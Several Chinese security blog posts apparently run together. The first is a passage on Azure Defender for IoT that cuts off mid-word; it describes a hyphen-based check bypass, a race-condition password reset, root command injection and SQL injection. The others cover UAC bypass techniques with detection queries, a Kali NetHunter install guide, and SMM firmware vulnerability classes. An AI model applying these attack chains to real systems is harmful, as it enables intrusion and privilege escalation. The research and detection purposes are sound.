之後，有一個訂閱ID 檢查：

15+1 (1).png

這是遠程攻擊者無法獲得的唯一屬性，並且在合理的時間內無法猜測。但是，可以輕鬆繞過此檢查。

該代碼從JSON 文件中獲取subscriptionId，並將其與machineSubscriptionId 進行比較。但是，這裡的代碼有漏洞。它檢查machineSubscriptionId 是否包含來自用戶控制的JSON 文件的subscriptionId，而不是相反。contains() 的使用是不安全的。 subscriptionId 採用GUID 格式，這意味著它必須包含連字符。這允許我們通過僅提供單個連字符來繞過此檢查。

接下來，檢查issueDate 和ApplianceId。這已經由密碼恢復頁面（在步驟2 中提到）提供給我們。

現在我們明白了，我們可以繞過Java API 中的所有檢查，這意味著我們只需要成功贏得競爭條件並最終在未經授權的情況下重置密碼。

ZIP上傳界面和密碼恢復界面分開的事實在開發階段派上了用場。

Azure Defender for IoT的被攻擊過程為了準備攻擊，我們需要執行以下操作。

從Azure 門戶獲取合法的密碼恢復ZIP 文件。顯然，我們無法訪問受害設備所屬的Azure 用戶，但我們可以使用任何Azure 用戶並生成一個“虛擬”ZIP 文件。我們只需要恢復ZIP 文件即可獲得合法證書。這可以通過以下URL 完成：

16.png

16.jpg

為此，我們可以創建一個新的試用Azure 帳戶並使用上述接口生成恢復文件。秘密標識符無關緊要，可能包含垃圾。

然後我們需要生成一個自定義的（“壞的”）ZIP 文件。此ZIP 文件將包含兩個文件：

IotDefenderSigningCertificate.pem – 自簽名證書。可以通過以下命令生成：

17+1.png

ResetPassword.json – 屬性數據JSON 文件，由上述自簽名證書籤名並進行相應修改以繞過Java API 驗證。

可以使用以下Java 代碼對該JSON 文件進行簽名：

19 (2).png

如前所述，applianceId 是從密碼恢復頁面獲取的。 tenantId未經驗證，因此可以是任何內容。

issuanceDate參數是自解釋的。

一旦生成並簽名，可以將其添加到ZIP 壓縮文件並供以下Python 漏洞利用腳本使用：

19 (1).png

19.2+1.png

benign.zip文件是從Azure 門戶獲取的ZIP 文件，而malicious.zip文件是如上所述的自定義ZIP 文件。

上面的漏洞利用腳本執行TOCTOU 攻擊以重置並接收cyberx用戶名的密碼，而無需任何身份驗證。它通過使用三個線程來實現：

looper_benign – 負責無限循環上傳良性ZIP 文件；

looper_malicious – 與looper_benign相同，但是上傳惡意ZIP，在這個配置中有1秒的超時時間；

looper_recover – 發送密碼恢復請求以觸發易受攻擊的代碼；

不幸的是，文檔提到ZIP 文件不能被篡改。

21+1.jpg

該漏洞在CVE-2021-42310中得到了恢復。

以root #1 身份執行未經身份驗證的遠程代碼至此，我們可以獲得特權用戶cyberx的密碼。這允許我們登錄到SSH 服務器並以root 身份執行代碼。即使沒有這個，攻擊者也可以使用更隱蔽的方法來執行代碼。

使用獲取的密碼登錄後，攻擊面大大增加。例如，我們在更改密碼機制中發現了一個簡單的命令注入漏洞：

來自components\xsense-web\cyberx_web\api\authentication.py:151：

21+1.png

該函數接收來自用戶的三個JSON 字段，“username”、“password”、“new_password”。

首先，它驗證我們已經擁有的用戶名和密碼。接下來，它只使用正則表達式檢查密碼的複雜性，但不清理命令注入原語的輸入。

在驗證之後，它使用攻擊者控制的用戶名和新密碼以root身份執行/usr/local/bin/cyberx-users-password-reset腳本。由於該函數沒有正確地對“new_password”的輸入進行清理，所以我們可以注入任何我們選擇的命令。我們的命令將在sudo的幫助下以root用戶的身份執行，這讓我們可以以root用戶的身份執行代碼：

這可以通過以下HTTP 數據包來利用：

22+1.png

該漏洞在CVE-2021-42312中被修復。

POC接下來，我們將介紹兩個額外的路由和新漏洞，以及流量處理框架中的一個漏洞。

這些漏洞是基本的SQL 注入（稍加改動），但它們對產品和組織網絡的安全性有很大影響。

CVE-2021-42313DynamicTokenAuthenticationBaseHandler類繼承自BaseHandler類，不需要身份驗證。這個類包含兩個容易被SQL注入的函數(get_version_from_db, uuid_is_connected)。

25.png

如上所示，UUI

HireHackking

惡意軟件通常需要計算機上的完全管理權限來執行更有影響的操作，如添加逃避防病毒軟件檢測、加密安全文件或向感興趣的系統進程中註入代碼。即使目標用戶擁有管理權限，用戶帳戶控制(UAC)的流行也意味著惡意應用程序通常默認為中等完整性，從而阻止對具有較高完整性級別的資源的寫入訪問。要繞過這個限制，攻擊者將需要一種無需用戶交互（無UAC 提示）靜默提升完整性級別的方法。這種技術被稱為繞過用戶帳戶控制，它依賴於各種原語和條件，其中大部分基於搭載提升的Windows 功能。

以Medium 身份運行的cscript.exe 示例通過UAC 繞過生成具有高完整性的cmd.exe 實例：

1.png

大多數UAC 驗證邏輯是在應用程序信息(AppInfo) 服務中實現的。我們將在本文介紹一組UAC 繞過，調查它們所依賴的一些關鍵原語以及對應的檢測方式。

UAC 繞過方法UAC 繞過方法通常會通過生成惡意子進程或加載繼承目標應用程序提升的完整性級別的惡意模塊來劫持提升的應用程序的正常執行流程。

還有一些其他極端情況，但最常見的劫持方法是：

2.png

註冊表鍵操作操作註冊表鍵的目的是將提升程序的執行流程重定向到受控命令。最常被濫用的鍵值與特定擴展的shell 打開命令（取決於目標程序）或windir/systemroot 環境變量操作有關：

HKCU\\Software\\Classes\\\shell\\open\command(默認或DelegateExecute值)；

HKCU\\Environment\\windir；

HKCU\\Environment\\systemroot；例如，當fodhelper(一個Windows二進製文件，允許提升而不需要UAC提示)被惡意軟件作為Medium完整性進程啟動時，Windows會自動將fodhelper從Medium完整性進程提升到High完整性進程。然後，高完整性fodhelper嘗試使用其默認的處理程序打開ms-settings文件。由於中等完整性的惡意軟件已經劫持了這個處理程序，被提升的fodhelper將執行攻擊者選擇的一個命令作為一個高完整性進程。

3.png

3.2.png

下面是一個Glupteba 惡意軟件的示例，它利用這種方法首先從中等完整性進程提升到高完整性過程，然後通過令牌操縱（令牌竊取）從高完整性進程提升到系統完整性：

4.png

操縱Windows 環境變量註冊表鍵的UAC 繞過示例是byeintegrity5。為了說明這一點，此繞過使用此原語重定向CDSSync 計劃任務的正常執行流程（設置為以最高權限運行），並提升完整性級別，如下所示。

5.png

當CDSSync 計劃任務運行時，taskhostw.exe 會嘗試從%windir%\System32 文件夾加載npmproxy.dll，但因為惡意軟件控制了%windir%，它可以重定向taskhostw.exe從它控制的路徑加載一個名為npmproxy.dll的DLL，如下所示。

6.png

當UAC 設置為Always Notify（最高UAC 級別）時，基於環境變量操作的UAC 繞過通常會起作用，因為它們通常不涉及將文件寫入安全路徑或啟動自動提升應用程序。從當前用戶註冊表更改SystemRoot 或Windir 到非預期值是非常可疑的，應該是檢測的高置信度信號。

DLL 劫持DLL劫持方法通常包括找到一個丟失的DLL(通常是一個丟失的依賴項)，或者通過將一個惡意的DLL加載到一個提升進程中來贏得DLL文件寫入進程。如果UAC 已啟用但未設置為Always Notify，則惡意軟件可以執行提升的IFileOperation（無UAC 提示）來創建/複製/重命名或將DLL 文件移動到受信任的路徑（即System32），然後觸發提升的程序加載惡意DLL 而不是預期的。

IFileOperation 由dllhost.exe（COM 代理）執行，其中process.command_line 包含classId {3AD05575-8857-4850-9277-11B85BDB8E09}。

7.png

我們可以使用以下EQL 關聯來鏈接dllhost.exe 的任何文件操作，然後將一個非microsoft簽名的DLL加載到一個運行系統完整性的進程中：

8.png

這是一個檢測UACME 30將wow64log.dll側載到作為系統運行的WerFault.exe實例的示例（它提供了一個很好的從Medium到System完整性的直接跳轉），如下所示。

9.png

如果UAC 設置為Always Notify，則查找丟失的DLL 或贏得文件寫入競爭條件到可由中等完整性進程寫入的路徑是一個有效選項。這是UAC 繞過劫持SilentCleanup 計劃任務（通過文件寫入競爭條件）的示例，該任務會產生從AppData 子文件夾（可由中等完整性寫入）執行的高完整性後代進程DismHost.exe，這是另一個濫用相同的變體任務，但缺少依賴項api-ms-win-core-kernel32-legacy-l1.dll。

10.png

另一個可以實現相同目標的DLL 劫持原語是使用DLL 加載重定向，方法是在目標提升程序的同一目錄中創建一個文件夾（例如target_program.exe.local 並在其中放置一個將被加載而不是預期的DLL ）。

此技術也可用作本地權限提升的原語，以防漏洞允許創建文件夾（具有許可的訪問控制列表）到受控位置，例如Jonas Lykkegård 在本文中描述的從directory deletion到SYSTEM shell的內容。

11.png

此查詢與UACME 方法22 匹配，該方法針對consent.exe（作為系統執行），欺騙它從SxS DotLocal目錄加載comctl32.dll，而不是System32：

12.png

值得一提的是，大多數通過DLL 劫持繞過UAC 對持久性也很有用，並且可能會繞過基於自動運行（已知文件和註冊表持久性位置）的檢測。

提升的COM 接口此方法與前面的方法稍有不同，這意味著不涉及直接操作重定向。相反，它依賴於找到一個提升的COM 接口，該接口公開了某種形式的執行能力（即CreateProcess/ShellExec 包裝器），可以調用它來啟動一個通過中等完整性進程的參數傳遞的特權程序。

從操作的角度來看，通常這些COM 接口將在dllhost.exe（COM 代理）的上下文中執行，其中process.command_line 包含目標COM 對象的classId，這通常會導致創建高完整性子進程。

以下是不同的惡意軟件家族採用這種方法進行UAC繞過的例子(如DarkSide和LockBit勒索軟件家族)，在啟動加密和逃避能力之前提高完整性水平，很難預防：

13.png

令牌安全屬性James Forshaw 對利用進程令牌安全屬性來識別作為自動提升應用程序的後代啟動的進程的可能性進行了深入的觀察。

ProcessHacker 也捕獲此類信息。下面是通過fodhelper UAC 繞過啟動的notepad.exe 實例的令牌屬性示例。

14.png

LUA://HdAutoAp屬性意味著它是一個自動提升的應用程序(也為提升的COM對象和AppInfo硬編碼的白名單進程填充)。 DecHdAutoAp意味著它是一個自動提升應用程序的後代，這在跟踪通過UAC繞過生成的進程樹時非常有用。

Elastic Endpoint 安全7.16 及更高版本通過流程執行事件(process.Ext.token.security_attributes) 捕獲此信息，這為在沒有先驗知識的情況下尋找和檢測UAC 繞過劫持自動提升程序或COM 接口的執行流提供了機會繞過細節（目標二進制、COM 接口、重定向方法和其他重要細節）：

可疑的自動提升程序子進程：

15.1.png

15.2.png

15.3.png

上面的查詢還匹配UAC旁路的所有後代進程，而不僅僅是直接子進程。

我們可以看到這種方法通過註冊表鍵操作檢測fodhelper 執行流劫持：

16.png

這是通過模擬受信任目錄的匹配UAC 繞過的示例：

17.png

以下是通過Elevated COM 接口匹配3 種不同UAC 旁路的示例：

18.png

逃避檢測有研究人員發表了一篇文章，討論了許多不限於繞過UAC 的逃避技術，例如重命名文件夾或註冊表鍵、註冊表符號鏈接以基於特定文件路徑/註冊表鍵更改或不同的關聯來破壞檢測邏輯同一過程的事件。不過大多數惡意軟件家族都不會費心修改和調整這些技術。

下面是一個通過目錄重命名（UACME 22）逃避文件監控的示例。

19.png

下面是一個通過鍵重命名(byyeintegrity8)來監控註冊表鍵路徑逃避的示例。

20.png

最近添加到UACME v.3.5.7 的另一個有趣的逃避技巧是CurVer 子鍵，可用於重定向shell 默認處理程序。這有效地繞過了尋找硬編碼可疑註冊表路徑/值的檢測：

21.png

對於與DLL劫持相關的基於文件的檢測，最好使用DLL加載事件(Elastic Endpoint Security 7.16日誌非microsoft簽名的DLL)。對於註冊表來說，需要混合註冊表。字符串和值名應該比完整的鍵路徑更有彈性。

下面的EQL相關示例展示瞭如何檢測偽裝成System32 的目錄中的DLL 加載（即作為windir/systemroot 環境變量修改的結果）：

22.png

此示例顯示了兩種不同的匹配技術(註冊表鍵操作和通過虛假Windir劫持DLL)：

23.png

下一個示例結合了註冊表符號鏈接和註冊表鍵重命名，以逃避基於註冊表鍵更改監視（ms-settings 或shell\open\command）的fodhelper UAC 繞過檢測：

24.png

UACME v.3.5及以上版本實現了對涉及註冊表鍵操作的方法的這種逃避。

你可以使用Elastic Endpoint或Sysmon日誌查找註冊表符號鏈接的創建，方法是查找值名稱等於SymbolicLinkValue的註冊表修改。

用於檢測此逃避的示例KQL 查詢是：registry.value :'SymbolicLinkValue' 和registry.key :S-1-5-21-15Classes\\*`：

25.png

最常見的UAC 繞過在野外使用的惡意軟件家族回不斷變化和迭代。以下是惡意軟件家族常用的UAC繞過方法：

26.1.png

26.2.png

通過UAC 繞過最常見的執行命令是惡意軟件以高完整性重新執行自身或防禦逃避技術，例如：

篡改AV 防禦策略；

寫入受HKLM 保護的註冊表鍵；

篡改系統恢復設置；

總結在這篇文章中，我們介紹了UAC繞過的主要方法，以及如何檢測它們，以及如何用令牌安全屬性豐富流程執行事件，使我們能夠創建一個更廣泛的檢測邏輯，以匹配未知的繞過。

HireHackking

0x00 前言Android滲透平台搭建的系列文章將要介紹在Android設備上搭建各種用於滲透的操作系統。

本文作為第一篇，將要介紹Android設備Nexus6P安裝Kali NetHunter的方法，記錄細節。

Kali NetHunter目前最新的版本為2022年1月，對於這個版本，還沒有一個完整的安裝指南。

0x01 簡介本文將要介紹以下內容：

Kali NetHunter的不同版本

Nexus6P安裝Kali NetHunter

0x02 Kali NetHunter的不同版本參考資料：

https://www.kali.org/docs/nethunter/

Kali NetHunter分為三個不同的版本：

NetHunter Rootless，不需要root，不需要TWRP，可以從https://store.nethunter.com/下載apk安裝，不支持Wifi和HID攻擊

NetHunter Lite，不需要root，需要TWRP，功能不完整

NetHunter，需要root，需要TWRP，只支持部分Android設備，功能最完整

為了能夠完整的體驗Kali NetHunter的功能，我們需要安裝NetHunter，支持的設備型號可參考：https://stats.nethunter.com/nethunter-images.html

這裡選取官方首推的低端設備Nexus6P (Oreo)，介紹安裝方法

0x03 Nexus6P (Oreo)安裝Kali NetHunter基本概念：

adb：全稱Android Debug Bridge，用來調試設備

fastboot：常用功能為設備解鎖，刷寫img文件，格式化系統分區和運行img文件

TWRP：全稱Team Win Recovery Project，常用功能為刷機、備份和恢復

Magisk：常用功能為獲得root權限

總體流程如下：

1.開啟Nexus6P的OEM unlocking和USB debugging

2.使用adb進入Bootloder模式

3.使用fastboot刷入TWRP

4.通過TWRP安裝Android系統鏡像Oreo

5.通過TWRP安裝Kali NetHunter和Magisk

具體步驟如下：

1.下載文件(1)adb和fastboot

需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置，下載地址：https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

(2)TWRP

下載頁面：https://dl.twrp.me/angler/

這裡選擇twrp-3.6.1_9-0-angler.img，下載地址：https://dl.twrp.me/angler/twrp-3.6.1_9-0-angler.img.html

將twrp-3.6.1_9-0-angler.img保存在Windows系統中，可通過fastboot刷入Nexus6P

(3)Oreo

Oreo是指Android 8的系統鏡像

下載頁面：https://developers.google.com/android/images

這裡選擇8.0.0 (OPR5.170623.014, Dec 2017)，下載地址：https://dl.google.com/dl/android/aosp/angler-ota-opr5.170623.014-234956cb.zip

(4)Magisk

下載頁面：https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip，下載地址：https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(5)Kali NetHunter

下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-angler-oreo-kalifs-full.zip

2.解鎖Nexus6P的Bootloader(1)啟動開發者選項

打開Nexus6P，依次選擇Settings - System - About phone，多次點擊Build number可啟動Developer options

(2)修改手機設置

點擊Developer options，打開OEM unlocking和USB debugging

(3)連接設備

通過USB數據線將Nexus6P連接Windows系統

(4)解鎖

Windows系統的命令行執行：

adbrebootbootloader等待Nexus6P重啟，進入Bootloader模式

Windows系統的命令行執行：

fastbootflashingunlockNexus6P用音量+選擇yes，按電源鍵進行確認

至此，解鎖完成。解鎖後每次開機會出現提示Your device software can't be checked for corruption. Please lock the bootloader. PRESS POWER TO PAUSE BOOT

3.刷入TWRP(1)進入Bootloader模式

關機狀態下，同時按住電源鍵和音量-

(2)連接設備

通過USB數據線將Nexus6P連接Windows系統

通過Windows系統命令行查看設備：

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行：

fastbootflashrecoverytwrp-3.6.1_9-0-angler.img如下圖

b991f6c1ba9ed3d7b6cc4f55aea1b02.png

(4)Nexus6P啟動TWRP

Nexus6P用音量-切換到Recovery mode，按電源鍵進行確認

等待Nexus6P啟動TWRP

4.將文件複製到Nexus6P(1)Oreo

將鏡像文件angler-ota-opr5.170623.014-234956cb.zip複製到手機的根目錄下

在Nexus6P啟動TWRP後，Windows系統可以訪問手機內的文件，可以進行文件複製操作，如下圖

2c8d4f570c61113b83786d9dc2d8def.png

也可以通過adb的push命令複製：adb push angler-ota-opr5.170623.014-234956cb.zip /sdcard

注：

push命令需要等待很長時間

(2)Kali NetHunter

將nethunter-2022.1-angler-oreo-kalifs-full.zip複製到手機的根目錄下

(3)Magisk-v21.4.zip

將Magisk-v21.4.zip複製到手機的根目錄下

5.使用TWRP安裝Oreo 8.0在Nexus6P的TWRP頁面，選擇Install，選擇angler-ota-opr5.170623.014-234956cb.zip進行安裝

安裝成功後選擇Reboot System

至此，Android Oreo 8.0系統安裝完成

6.使用TWRP安裝Kali NetHunter和Magisk(1)進入TWRP

Nexus6P關機狀態下，同時按住電源鍵和音量-

通過USB數據線將Nexus6P連接Windows系統

Windows系統命令行：

fastboot.exeflashrecoverytwrp-3.6.1_9-0-angler.imgNexus6P用音量-切換到Recovery mode，按電源鍵進行確認

等待Nexus6P啟動TWRP

(2)安裝Kali NetHunter

在Nexus6P的TWRP頁面，選擇Install，選擇nethunter-2022.1-angler-oreo-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後Nexus6P自動重啟

經過漫長的等待，安裝成功

(3)安裝Magisk-v21.4.zip

在Nexus6P的TWRP頁面，選擇Install，選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此，Kali NetHunter安裝完成

在Nexus6P的應用列表中，能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x04 小結本文介紹了在Nexus6P安裝Kali NetHunter的方法，其他設備可依次類推。

HireHackking

自從我們發布UEFI系列文章的最後一篇以來，已經過去了整整一年了。在此期間，固件安全社區比以往任何時候都更加活躍，並發表了一些高質量的出版物。值得注意的樣本包括發現新的UEFI植入物，如MoonBounce和ESPecter，以及最近由Binarly披露的不少於23個高危BIOS漏洞。

在過去的一年裡，我們也在努力尋找和利用SMM漏洞。在花了幾個月的時間後，我們注意到了SMM代碼中一些重複出現的反模式，並對漏洞的潛在可利用性形成了相當好的直覺。最終，在披露了13個這樣的漏洞後，我們成功地結束了2021年的工作，這些漏洞影響了行業中大多數知名的OEM廠商。此外，還有幾個漏洞仍在走負責任的披露流程，應該很快就會公開。

在這篇文章中，我們將為讀者分享與SMM漏洞相關的知識、工具和方法。我們希望，當大家讀完這篇文章時，自己也能挖掘這種固件漏洞。請注意，本文假設讀者已經熟悉SMM術語和內部結構，所以，如果您對這些內容還不夠熟悉的話，我們強烈建議大家先閱讀參考文獻部分列出的資料。現在，讓我們開始吧。

SMM漏洞的分類雖然在理論上，SMM代碼是與外界相互隔離的，但在現實中的某些情況下，非SMM代碼可以觸發甚至影響在SMM內部運行的代碼。因為SMM的架構非常複雜，裡面有很多“活動部件”，所以，因此攻擊面非常大，其中涉及通信緩衝區、NVRAM變量、支持DMA的設備等傳遞的數據，等等。

在下一節中，我們將介紹一些較常見的SMM安全漏洞。對於每種漏洞類型，我們將提供簡短的描述，相應的緩解措施以及檢測策略。請注意，該漏洞清單並不詳盡，只包含SMM環境中特有的漏洞。因此，其中並沒有提及某些非常常見的安全漏洞，如堆棧溢出和重複釋放（double-frees）等漏洞。

系統管理模式調出漏洞（SMM Callout）最基本的SMM漏洞類型被稱為“SMM調出”。每當SMM代碼調用位於SMRAM邊界之外的函數時（如SMRR所定義），就會出現這種漏洞。最常見的調出場景是SMI處理程序：它試圖調用作為其操作的一部分的UEFI啟動服務或運行時服務。擁有操作系統級權限的攻擊者可以在觸發SMI之前修改這些服務所在的物理頁面，從而在受影響的服務被調用後劫持特權執行流程。

1.png

圖1 SMM調出漏洞示意圖

緩解措施最明顯的方法，就是防止寫出這種有問題的代碼；此外，我們也可以在硬件層面提供相應的緩解措施。從第四代酷睿微架構（Haswell）開始，英特爾CPU支持一個名為SMM_Code_Chk_En的安全功能。如果這個安全功能被打開，一旦進入SMM，CPU將被禁止執行位於SMRAM區域之外的任何代碼。您可以將這個功能視為Supervisor Mode Execution Prevention(SMEP)的SMM等價物。

通過執行CHIPSEC的smm_code_chk模塊，可以查詢這種緩解措施的工作狀態。

1.png

圖2 使用chipsec查詢針對SMM調出漏洞的硬件緩解措施

檢測方法針對SMM調出漏洞的靜態檢測方法其實是非常簡單的。在分析給定的SMM二進製文件時，要仔細查找導致調用UEFI啟動或運行時服務的執行流程的SMI處理程序。這樣一來，尋找SMM調出漏洞的問題就被簡化為搜索調用圖中某些路徑的問題。幸運的是，我們根本不需要手動完成這項工作，因為efiXplorer IDA插件已經實現了這種啟發式方法。

正如我們在本系列的前幾篇文章中提到的，efiXplorer能夠提供一站式服務，它已經成為了用IDA分析UEFI二進製文件的事實上的標準方法。它提供了下列功能：

定位和重命名已知的UEFI GUID；

定位和重命名SMI處理程序；

定位和重命名UEFI啟動/運行時服務；

efiXplorer的最新版本使用Hex-Rays反編譯器來改進分析過程。其中一個特點是能夠為傳遞給LocateProtocol()或其SMM對應的SmmLocateProtocol()等方法的接口指針分配正確的類型。

給Ghidra用戶的一點提示：我們還想補充的是，Ghidra插件efiSeek負責上述列表中的所有變更。但是，它不包括efiXplorer所提供的協議窗口和漏洞檢測功能等用戶界面元素。

在完成對輸入文件的分析後，efiXplorer將繼續檢查由SMI處理程序執行的所有調用，從而得到潛在調出的精選清單：

1.png

圖3 efiXplorer發現的調出

1.png

圖4 sub_7F8可以從SMI處理程序訪問，但仍然調用位於SMRAM之外的啟動服務

在大多數情況下，這個啟發式方法工作得很好，但是我們遇到了幾種邊緣情況，這時可能會產生誤報。其中，最常見的誤報是由於使用EFI_SMM_RUNTIME_SERVICES_TABLE所造成的。這是一個UEFI配置表，它暴露了與標準EFI_RUNTIME_SERVICES_TABLE完全相同的功能，唯一顯著的區別是，與它的“標準”對應物不同，它駐留在SMRAM中，因此適合被SMI處理程序所使用。許多SMM二進製文件在完成一些模板式的初始化任務後，經常將全局RuntimeServices指針重新映射到SMM特定的實現：

1.png

圖5 將全局RuntimeService指針重新映射到與SMM兼容的實現上

通過重新映射的指針調用運行時服務，會產生一種乍看之下似乎是調出的情況，儘管仔細檢查會發現並非如此。為了克服這個問題，分析人員應該始終在SMM二進製文件中搜索標識為EFI_SMM_RUNTIME_SERVICES_TABLE的GUID。如果找到這種GUID，則大部分涉及UEFI運行時服務的調出都有可能是誤報。但這並不適用於涉及啟動服務的調出。

1.png

圖6 通過重新映射的RuntimeService指針調用GetVariable()引起的誤報

另一個潛在的誤報來源是各種“雙模式”包裝器函數，這意味著它們可以從SMM和非SMM上下文中進行調用。在內部，如果調用方在SMM中運行，這些函數會派發對SMM服務的調用，否則會派發對等效的啟動/運行時服務的調用。我們在野外看到的最常見的樣本是EDK2的FreePool()，如果要釋放的緩衝區位於SMRAM中，它就調用gSmst-SmmFreePool()，否則就調用gBs-FreePool()。

1.png

圖7 EDK2的FreePool()實用函數是一個常見的誤報來源

正如這個例子所展示的，漏洞分析人員應該意識到，靜態代碼分析技術很難確定某些代碼路徑在實踐中不會被執行，因此，很可能將其標記為調出。在編譯後的二進製文件中識別這種函數的相關技巧和竅門，將在後文中加以介紹。

低址SMRAM損壞類型說明在正常情況下，用於向SMI處理器傳遞參數的通信緩衝區不得與SMRAM重疊。這個限制的理由很簡單：如果不是這樣，那麼每次SMI處理程序將某些數據寫入通信緩衝區的時候——例如，為了向調用方返回狀態代碼時，都會“順帶”修改SMRAM的某些部分，這是不可取的。

1.png

圖8 不應該出現的情況

在EDK2中，負責檢查給定緩衝區是否與SMRAM重疊的函數被稱為SmmIsBufferOutsideSmmValid()。這個函數在每次SMI調用時都會在通信緩衝區上被調用，以便執行這一限制。

1.jpg

圖9 EDK2禁止通信緩衝區與SMRAM重疊

唉，由於通信緩衝區的大小也在攻擊者的控制之下，這種檢查本身並不足以保證全面的保護，因此，一些額外的責任落在了固件開發者的肩上。我們很快就會看到，許多SMI處理程序在這裡出問題了，並留下了一個漏洞，攻擊者可以利用這個漏洞來繞過這個限制，進而破壞SMRAM的低址部分。為了了解為何會出現這種情況，讓我們仔細考察一個具體的例子。

1.jpg

圖10 一個存在安全漏洞的SMI處理程序

上面是現實生活中非常簡單的SMI處理程序。我們可以將其操作分為4步：

檢查參數；

將MSR_IDT_MCR5寄存器的值讀入局部變量；

從中計算一個64位值，然後將結果寫回通信緩衝區；

返回到調用方。

精明的讀者可能知道這樣一個事實，即在第3步中，一個8字節的值被寫入通信緩衝區，但在第1步中，代碼並沒有檢查緩衝區至少8字節長這一先決條件。由於缺乏這項檢查，攻擊者就可以通過以下方式發動攻擊：

將通信緩衝器放到盡可能靠近SMRAM基址的位置（例如SMRAM-1）；

將通信緩衝區的大小設置為足夠小的整數值，例如1字節；

觸發易受攻擊的SMI。從原理上講，內存佈局如下所示：

1.jpg

圖11 調用SMI時的內存佈局

就SmmEntryPoint而言，通信緩衝區只有1個字節長，與SMRAM並不重疊。正因為如此，SmmIsBufferOutsideSmmValid()將成功執行，實際的SMI處理程序將被調用。在第3步中，處理程序將盲目地將一個QWORD值寫入通信緩衝區，這樣做會無意中也對SMRAM的低7個字節也執行了寫入操作。

1.jpg

圖12 損壞發生時的內存佈局

根據EDK2，TSEG（SMRAM的事實上的標準位置）的底部包含一個SMM_S3_RESUME_STATE類型的結構體，其工作是控制從S3睡眠狀態的恢復過程。正如下面所看到的，這個結構體包含了大量的成員和函數指針，它們的損壞會使攻擊者受益。

1.jpg

圖13 SMM_S3_RESUME_STATE對象的定義

緩解措施為了緩解這類漏洞，SMI處理程序必須顯式檢查提供的通信緩衝區和bailout的大小，以防實際大小與預期大小不同。這可以通過下列方式實現：

取消對所提供的CommBufferSize參數的引用，然後將其與預期的大小進行比較。該方法之所以有效，是因為我們已經看到SmmEntryPoint調用了SmmIsBufferOutsideSmmValid(CommBuffer, *CommBufferSize)，以保證緩衝區的*CommBufferSize字節位於SMRAM之外。

1.jpg

圖14 可以通過檢查CommBufferSize參數來緩解低址SMRAM損壞漏洞

再次調用通信緩衝區上的SmmIsBufferOutsideSmmValid()，這一次使用處理程序所期望的大小。

檢測方法為了檢測這類漏洞，我們應該尋找那些沒有正確檢查通信緩衝區大小的SMI處理程序。這表明該處理程序沒有執行以下任何一項：

取消對CommBufferSize參數的引用。

在通信緩衝區上調用SmmIsBufferOutsideSmmValid()。

條件1很容易檢測，因為efiXplorer已經能夠定位SMI處理程序並為它們分配正確的函數原型。條件2也很容易驗證，但關鍵是：由於SmmIsBufferOutsideSmmValid()是靜態鏈接的代碼，所以，我們必須能夠在編譯後的二進製文件中識別它，相關的技巧和竅門將在後面加以介紹。

任意SMRAM損壞類型說明雖然在我們對SMM漏洞的分析中肯定是向前邁進了一大步，但之前的漏洞類別仍然存在幾個重要的限制，使得它們在現實生活場景中難以利用。一個更好、更強大的利用原語將允許我們破壞SMRAM中的任意位置，而不僅僅是那些毗鄰底部的位置。

這樣的利用原語通常可以在其通信緩衝區包含嵌套指針的SMI處理程序中找到。由於通信緩衝區的內部佈局事先並不知道，所以，SMI處理程序本身需要對其進行正確的解析和淨化處理，這通常歸結為對嵌套的指針調用SmmIsBufferOutsideSmmValid()，如果其中一個指針恰好與SMRAM重疊，就跳出。我們就可以在EDK2的SmmLockBox驅動中可以找到一個正確檢查這些條件的教科書式的例子。

1.jpg

圖15 SmmLockBoxSave的子處理程序，用於對嵌套指針進行淨化處理

為了向操作系統報告SMM已經實現了哪些最佳實踐，現代UEFI固件通常會創建並填充一個ACPI表，稱為Windows SMM Mitigations Table，或簡稱WSMT。除其他事項外，WSMT還維護一個名為COMM_BUFFER_NESTED_PTR_PROTECTION的標誌，如果存在該標誌，則表明SMI處理程序不會在未經事先淨化的情況下使用嵌套指針。這個表可以使用chipsec模塊common.wsmt進行轉儲和解析。

1.jpg

圖16 使用CHIPSEC來轉儲和解析WSMT表的內容

不幸的是，實踐表明，大部分情況下報告的緩解措施和現實之間的相關性是很小的。即使存在WSMT，並且報告指出所有支持的緩解措施都是有效的，也經常發現SMM驅動程序完全忘了對通信緩衝區進行淨化處理。利用這一點，攻擊者可以用一個指向SMRAM內存的嵌套指針來觸發有漏洞的SMI。根據特定處理程序的性質，這可能導致指定地址的損壞或從該地址讀取的敏感信息。下面，讓我們來看一個具體的例子。

1.jpg

圖17 SMI處理程序沒有對嵌套指針進行淨化處理，使其容易受到內存損壞的攻擊

在上面的片段中，有一個SMI處理程序，它通過通信緩衝區獲得一些參數。根據反編譯的偽代碼，我們可以推斷出，緩衝區的第一個字節被解釋為一個OpCode字段，指示處理程序接下來應該做什麼（1）。我們可以看出（2），這個字段的有效值是0、2或3。如果實際值與這些值不同，將執行默認子句（3）。在這個子句中，一個錯誤代碼被寫到通訊緩衝區第2個字段所指向的內存位置。由於這個字段和通信緩衝區的全部內容都在攻擊者的控制之下，因此，他們可以在觸發SMI之前對其進行如下設置。

1.jpg

圖18 導致SMRAM損壞的通信緩衝區內容

隨著處理程序的執行，OpCode字段的值將迫使它退回到缺省子句，而地址字段將由攻擊者根據他或她想要破壞的SMRAM的確切部分提前選擇。

緩解措施若要緩解此類漏洞，SMI處理程序必須在使用通信緩衝區之前對其傳遞的任何指針值進行淨化。指針驗證可以通過以下兩種方式之一執行：

調用SmmIsBufferOutsideSmmValid函數：正如前面提到的，SmmIsBufferOutsideSmmValid()是EDK2提供的一個實用函數，用於檢查給定的緩衝區是否與SMRAM重疊。淨化外部輸入指針時，這是首先方法。

